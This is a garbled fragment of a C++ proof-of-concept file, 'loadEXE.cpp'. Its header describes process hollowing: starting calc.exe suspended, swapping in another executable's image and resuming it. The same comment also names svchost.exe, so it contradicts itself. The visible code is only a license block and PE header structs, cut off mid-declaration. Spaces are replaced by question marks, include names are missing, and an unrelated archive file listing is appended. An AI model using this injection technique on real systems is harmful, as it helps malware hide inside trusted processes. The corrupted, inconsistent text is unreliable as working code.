//*******************************************************************************************************
//?loadEXE.cpp?:?Defines?the?entry?point?for?the?console?application.
//
//?Proof-Of-Concept?Code
//?Copyright?（c）?2004
//?All?rights?reserved.
//
//?Permission?is?hereby?granted?free?of?charge?to?any?person?obtaining?a
//?copy?of?this?software?and?associated?documentation?files?（the
//?“Software“）?to?deal?in?the?Software?without?restriction?including
//?without?limitation?the?rights?to?use?copy?modify?merge?publish
//?distribute?and/or?sell?copies?of?the?Software?and?to?permit?persons
//?to?whom?the?Software?is?furnished?to?do?so?provided?that?the?above
//?copyright?notice（s）?and?this?permission?notice?appear?in?all?copies?of
//?the?Software?and?that?both?the?above?copyright?notice（s）?and?this
//?permission?notice?appear?in?supporting?documentation.
//
//?THE?SOFTWARE?IS?PROVIDED?“AS?IS“?WITHOUT?WARRANTY?OF?ANY?KIND?EXPRESS
//?OR?IMPLIED?INCLUDING?BUT?NOT?LIMITED?TO?THE?WARRANTIES?OF
//?MERCHANTABILITY?FITNESS?FOR?A?PARTICULAR?PURPOSE?AND?NONINFRINGEMENT
//?OF?THIRD?PARTY?RIGHTS.?IN?NO?EVENT?SHALL?THE?COPYRIGHT?HOLDER?OR
//?HOLDERS?INCLUDED?IN?THIS?NOTICE?BE?LIABLE?FOR?ANY?CLAIM?OR?ANY?SPECIAL
//?INDIRECT?OR?CONSEQUENTIAL?DAMAGES?OR?ANY?DAMAGES?WHATSOEVER?RESULTING
//?FROM?LOSS?OF?USE?DATA?OR?PROFITS?WHETHER?IN?AN?ACTION?OF?CONTRACT
//?NEGLIGENCE?OR?OTHER?TORTIOUS?ACTION?ARISING?OUT?OF?OR?IN?CONNECTION
//?WITH?THE?USE?OR?PERFORMANCE?OF?THIS?SOFTWARE.
//
//?Usage:
//?loadEXE?
//
//?This?will?execute?calc.exe?in?suspended?mode?and?replace?its?image?with
//?the?new?EXE‘s?image.??The?thread?is?then?resumed?thus?causing?the?new?EXE?to
//?execute?within?the?process?space?of?svchost.exe.
//
//*******************************************************************************************************

#include?
#include?
#include?
#include?“psapi.h“

struct?PE_Header?
{
	unsigned?long?signature;
	unsigned?short?machine;
	unsigned?short?numSections;
	unsigned?long?timeDateStamp;
	unsigned?long?pointerToSymbolTable;
	unsigned?long?numOfSymbols;
	unsigned?short?sizeOfOptionHeader;
	unsigned?short?characteristics;
};

struct?PE_ExtHeader
{
	unsigned?short?magic;
	unsigned?char?majorlinkerVersion;
	unsigned?char?minorlinkerVersion;
	unsigned?long?sizeOfCode;
	unsigned?long?sizeOfInitializedData;
	unsigned?long?sizeOfUninitializedData;
	unsigned?long?addressOfEntryPoint;
	unsigned?long?baseOfCode;
	unsigned?long?baseOfData;
	unsigned?long?imagebase;
	unsigned?long?sectionAlignment;
	unsigned?long?fileAlignment;
	unsigned?short?majorOSVersion;
	unsigned?short?minorOSVersion;
	unsigned?short?majorImageVersion;
	unsigned?short?minorImageVersion;
	unsigned?short?majorSubsystemVersion;
	unsigned?short?minorSubsystemVersion;
	unsigned?long?reserved1;
	unsigned?long?sizeOfImage;
	unsigned?long?sizeOfHeaders;
	unsigned?long?c

?屬性????????????大小?????日期????時間???名稱
-----------?---------??----------?-----??----

?????文件??????20265??2012-12-27?12:25??loadEXE.cpp

-----------?---------??----------?-----??----

????????????????20265????????????????????1